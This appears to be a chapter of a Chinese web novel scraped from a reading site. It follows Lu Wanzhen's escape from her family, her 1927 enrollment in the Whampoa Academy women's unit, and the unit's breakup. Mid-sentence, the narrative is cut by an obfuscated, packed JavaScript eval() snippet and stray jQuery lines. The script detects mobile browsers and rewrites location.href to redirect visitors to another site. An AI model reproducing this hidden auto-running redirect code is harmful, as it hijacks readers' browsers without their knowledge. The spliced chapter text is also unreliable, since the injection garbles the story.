66.一生所爱(中)
作品:《在地府考公上岸后》 接下来的几年里,她很庆幸自己有石志坚这么一个朋友。
他已经算是个成年男子,可以出去跑腿儿办事儿,作为一个懂得外国话的家仆,他在家里的地位水涨船高,甚至还管起了家里跟外国人的买卖。
院子里有个狗洞,她总是能在狗洞旁边,发现一些生活用品。有时候是几斤烧火用的煤炭,有时候是肥皂、鞋子、笔墨和月事带……都是她急需的,而祖父和父亲都想不起来给她的生活物资。
在一切东西里,她最喜欢的是外国的书籍报刊,她看完了,就会在书上做些法语批注,又放回狗洞里。隔天,她就能在上面看到另一行法文批注,字母粗粗大大的,一看就是男人的手笔。
除了父亲外,家里懂得法文的男人只有一个。
除了书籍,他还给她用法文写信,信上写着他今天的生活,看到了什么,做了什么,有什么新鲜好玩的事情。跑到广东做生意的洋人、游行的学生,还有悄然滋长的民主风潮……
有一回,她甚至还在狗洞里找到了一盒巧克力糖,糖果上打了一个笨拙的缎带,贺卡上写着Joyeux anniversaire(生日快乐)。
她捻起一块放进嘴里,醇厚的巧克力中间夹着香脆的榛子仁,非常的甜。
离开法国后,她已经有四年没见过巧克力了。
在他的信件里,她能敏锐的感觉到,他也在变。
起初,她在书本上留下的批注多,他留的少,即使留了,也只是单纯的写一些:“这句说得好痛快”,或者“我觉得这样不对”的话。渐渐地,他抒发的评论多了,还经常举自己在生活中见到的实例,为书中的理论提供现实支撑。
再后来,他跟她的思考几乎同频了,他总能对事物提出一些更加实际的观点……一种陆婉珍完全想象不到的视角,也许那跟他的出身有关?
他们的交流由她的独舞,变成了她在领舞,最终变成了双人探戈。
他们的舞步默契十足,火花四射,每一次的书信交流,都像是一场酣畅淋漓的交锋,一种旗鼓相当的切磋,他们的思想交织在一起,在时间的打磨中变得更加锋锐。
十几年里,他们没有见面,但那些塞在她院子里面的书籍和批注,像是一面镜子,清晰地反照着两个人的心。他们无话不谈,从理想的生活,再到对事物的观点,甚至还有对天下大事的思考……
1926年,陆婉珍已经虚岁27岁,在那时候的眼光来看,是个不折不扣的老姑娘了。
大姐已经出嫁十几年,抱上了第一个孙子;二姐也出嫁十年,养下来三个孩子;三姐已经做了三年的寡妇,只有她还住在这个小院子里,每天雷打不动地跑步、练拳、用根晾衣杆来击剑。
旁人看来,她是寂寞独守,蹉跎年华,但她自己知道,她的世界每天都是新的。
在这四四方方的一块天地里,石志坚就是一扇小小的窗子,他拼着被逐出门去、乱棍打死的风险,慷慨地为她送来一线天光。她透过他来探索整个世界:袁世凯复辟、新民主思潮、第一次世界大战、五四运动……。
他们的友谊在这样隐秘的鱼雁往还里,逐渐变成了另一种更加美丽而神圣的东西。他知道,她也知道。
那天,报纸上刊登了一条新闻:黄埔军校预计招收一批女学生。她把那条新闻圈起来,并在旁边写下了一句话:“Cher camarade, es-tu prêt à changer le monde avec moi ?”(亲爱的同志,你愿意跟我一起去改变世界吗?)
第二天,那张报纸不见了,她的院落里,出现了大堆深红的木棉花,浓艳地像是新娘的嫁衣。花朵排列的整整齐齐,拼出了一个法语单词:
“Oui”(我愿意。)
她不是那些肩不能挑手不能提的大小姐,之前不走,只是全天下没有一个接纳女性的军队,她不知道要去往何处,现在有了投奔之处,一切都是那么顺理成章。
狗洞里出现了一个爪钩,她把自己十几年来逐渐长可垂地的头发剪下来,她的头发又厚又多,足能编成近三米的长绳。她一边编绳子,一边想起一个叫长发公主的童话故事,公主用她的长发垂下高塔,把王子拉进来。
她也要垂下她的长发了,不过她不打算迎来什么王子,而是要翻出这座囚禁她的高塔,去迎接崭新的生命。
有一天吃饭的时候,她发现盒子特别的重,她在食盒里发现了一个小夹层,里面是满满的银洋。
食盒不是传统的红漆木盒,而是蓝底珐琅彩盒子,上面绘着金色鸢尾花纹。鸢尾花素来为法兰西所钟爱,那里的人民说,那花朵象征着光明与自由。
是爹。
当天夜里,当更鼓打到三更天的时候,她背起几件衣服和那一盒子银洋,把爪钩绑在长发编成的绳子上,扔上了墙头。
随后,她深吸一口气,助跑两步,一跃而起,抓住了长绳的尾巴。她一直坚持锻炼,有了绳子跟勾爪的帮助,爬上五米的高墙不是难事。
夜阑人静,群星皎洁,她站在墙头上,带着父亲的祝福,毫不留恋地轻轻一跃,落入了石志坚期待已久的怀抱。
陆家,再见。
石将军的故事已经说了半个小时,当他说到二人是怎么在陆泓信老爷的帮助下逃出陆家时,眼睛都忍不住亮起来:
“十三年了,我只见到她的字,没见过她的人,再次见面,她……她模样一点也没变,短头发,高个子,跟十三年前一模一样。但我的变化就大啦,她第一眼见我,都认不出我了,脱口就问:你是谁呀?问完了才反应过来,不好意思的笑了……”
“时间紧迫,我们没时间多说什么,陆老爷为我们争取的时间只有半个时辰,她穿上男装,装作是府里倒夜香的小厮,趁着天亮前混出了门去。我们从珠江上船,到了上海码头,又从上海坐火车到武汉,辗转两个月,总算赶在招生截止前一天报了名。”
“来参加考试的人真多呀,最小的考生才十四五岁,年纪大的拖着三个孩子,还有些缠着小脚。好些人跟我们一样,是离家私逃的。个个都是风华正茂,挥斥方遒,四小姐一辈子都没见过这么多跟她一样的女青年,大家很快就打成一片……”
“即使在这么多女青年里,四小姐也是最出挑的,五六千个人来考试,学校就收一百个女学生,考试一发榜,她考了前十名,体能方面的分数尤其高。我就比她笨的多了,不过男学生招的多,我也勉强考进去了,从此跟四小姐一块做了同学。”
“四小姐考上军校,轰动了江城,陆老太爷在报纸上看到这个消息,气急败坏地写信来,骂四小姐没有廉耻、败坏门风,让他从此见不得人。四小姐接了信,就回了一句话:有什么见不得人?我就是要革你们这种人的命!”
“老太爷收到信,听说气的大病一场,三天后就咽了气,没等四小姐去革他的命,他自己就撑不下去了,倒便宜了他。他一死,陆老爷上头没了人压制,立刻跟小姐恢复了联系……”
1927年2月12日,黄埔军校女子队开学。
那是陆婉珍有生以来最开心的日子。
早起,整理内务,出操。然后是早饭,上午学军事理论,下午实战演练
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906089|191265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,学搏击技和射击。她的体能在一众女生里是最好的,教官说她能跟男学生媲美,至于射击技巧,有赖于小时候在法国打下的底子,她也在学生中名列前茅。
比起从小练大的击剑,她更喜欢射击,正是因为洋人懂得使枪,才能骑在中国人头上,这个道理,没人比她更懂。枪炮是极致的力量与美,她相信,自己若能掌控它,就能够主宰自己的命运,乃至改变全世界。
所以她一刻也舍不得放开枪,下课后主动加练,恨不能一天到晚都泡在打靶场。
每当这时,他就会悄悄走到她身边,给她倒茶水、递子弹匣,当她肩膀酸的时候,给她贴上膏药,一如当年他还是石狗儿时,一样的贴心。
生活费是不用愁的,祖父死后,爹已经跟她恢复了联系,虽说家里的生意不太好,但爹总是按月寄钱来给她花销。
三月的江城,草长莺飞,如古画般秀丽,有空闲的时候,她会拉着他,在武汉四处闲逛,黄鹤楼和晴川阁都已毁于炮火,她带着他一一去凭吊古迹:“总有一日,这些名胜都会重建起来,就像是岳阳楼一样,只要政通人和,自当百废俱兴,到那时,咱们一块再来看。”
她总是这么说着,拉着他,漫步在武汉的大街小巷。鹦鹉洲、黎黄陂、粮道街……他们的足迹和梦想遍布了整个武汉。直到夜深,两人才会在户部巷要一碗炒豆丝加米酒冲蛋,吃罢了宵夜回到宿舍,迎接新的一天。
这样美好的生活,只持续了不到三个月,短暂地像是一个早早凋谢的春天。
1927年4月,上海爆发四一二□□政变。两党关系破裂,黄埔军校作为两党合作的产物,地位一时变得微妙起来,这其中尤以女子队处境最为尴尬——决定主办女生队的教官,多数为在野党。
1927年5月,宜昌兵变,黄埔军校武汉分校全体队员被编为中央独立师,女子队跟男学员一起奔赴前线,她们救护伤员、宣传政策、杀敌作战,个个不输须眉。陆婉珍作战勇敢,第一战便毙敌七人,被提升为班长。
1927年6月底,在中央独立师的英勇奋战下,宜昌兵变被成功镇压,黄埔军校男学生随军团转战别地,女子队则班师回校。军令如山,没有时间依依惜别,夕阳下,石志坚站在队伍里目送着陆婉珍坐上了回程的轮渡,只能轻轻地对她挥了挥手。
挥手自兹去,萧萧班马鸣。轮渡开动,汽笛鸣响,谁知一别,竟是永久。回程路上,女学员乘坐的轮渡突然沉没,一半女生罹难。毕竟,主张她们入伍的人,是在野党。
1927年7月,武汉局势恶化,武汉政府步上□□后尘,将在野党指为匪类。同月,黄埔军校女生队被迫解散。
陆婉珍只收到一张薄薄的毕业证,上面证明了她是黄埔军校的第六期毕业生,除此之外,还有五块银洋。
没有任何一家部队接收她们,想要留在军队里,只有一条路:加入独立团,撤离武汉,从此后成为“匪”,变成当局围剿的对象,有朝一日,甚至可能与石志坚刀兵相见。
怎么办?怎么办?
那是她一生中最惨烈的战争,敌手就是她自己。一方面,她想要留在军队中,永不放下那柄钢枪;另一方面,她从没有想过自己会成为“匪”。陆家在广东是有名有号的家族,她若成了“匪”,爹怎么办?
她给石志坚写信,但毫无回应。他的队伍今天在江西,明天在贵州,她的信像只没头苍蝇一样来回乱撞,最终都隐没在战火之中,没有一封到他手上。
就在她心慌意乱的时候,一封电报奠定了她的败局,那是娘发来的电报,只有四个字:“父病速归”

